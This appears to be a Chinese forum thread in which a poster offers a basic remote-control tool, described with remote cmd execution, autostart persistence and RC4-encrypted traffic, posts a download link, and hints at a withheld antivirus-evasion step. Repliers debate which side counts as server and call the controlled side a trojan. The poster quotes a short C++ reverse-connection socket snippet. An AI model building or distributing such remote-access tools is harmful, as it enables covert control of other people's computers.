一套很基础的远程控制代码
仅供参考学习!仅供参考学习!
仅供参考学习!
使用易语言开的服务端,cpp写的客户端,流量采用RC4加密,有远程cmd命令执行,动态加开机自启,ms还差一步,不宜透露,聪明的人会知道是那一步{:301_988:}
下载地址: https://fbxy.lanzoum.com/is6T10v6ex9e
仅供参考学习!
仅供参考学习!
仅供参考学习!
Panel 发表于 2023-5-10 23:07
我易语言写的是服务端,看也能看得出来嘛,哥哥
传统意义上,被控端为服务端,控制端为客户端。。。
被控端执行后开启服务,等待控制端(客户端)链接控制。。。
这种模式下,一般被控端会把连接信息发送到某个公网地址或者邮箱,等待控制端控制,不会主动访问控制端。。
控制端拿到连接信息后,根据需要输入连接信息主动链接被控端。
比如向日葵,连接信息就是识别码和验证码,获取这个信息后任何地方的客户端都可以主动访问对方,这个时候对方就是服务端,你是客户端。服务端只开启服务,不知道控制端在哪里。(当然向日葵实际模式比这个要复杂)
你这个叫反向链接,
控制端开启一个服务,等待被控端主动链接,就是被控端主动联系控制端,一般情况下,控制端开启后,有多少个被控端连接在线都能看到。
这种模式下,一般服务端都会比较固定,比如有固定的IP地址或者固定的域名地址供被控端访问。
从连接访问的角度来讲,控制端是服务端,被控端是客户端。。
从远程控制的角度讲,被控端依然是服务端。 4899 发表于 2023-5-11 09:36
传统意义上,被控端为服务端,控制端为客户端。。。
被控端执行后开启服务,等待控制端(客户端)链接控 ...
WSADATA SockData;
WSAStartup(MAKEWORD(2, 2), &SockData);
talksock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in saSrv;
saSrv.sin_addr.s_addr = inet_addr("127.0.0.1");
saSrv.sin_family = AF_INET;
saSrv.sin_port = htons(19730);
connect(talksock, (sockaddr*)&saSrv, sizeof(saSrv));
这是cpp写的被控端,你看看是控制端连被控端还是被控端连控制端 虽然看不懂,但是感觉很牛逼的样子。 看起来屌屌的样子 那我就赞一个 看看源码{:301_986:} 差哪一步呢?哪位大神解答一下 感觉描述错误了,易写的是客户端,真正的干活的才是服务端也就是木马那块 孤狼微博 发表于 2023-5-10 23:06
感觉描述错误了,易写的是客户端,真正的干活的才是服务端也就是木马那块
我易语言写的是服务端,看也能看得出来嘛,哥哥 Panel 发表于 2023-5-10 23:07
我易语言写的是服务端,看也能看得出来嘛,哥哥
木马端 叫服务端{:1_907:} 看不懂 但是还是说一句牛逼{:1_925:}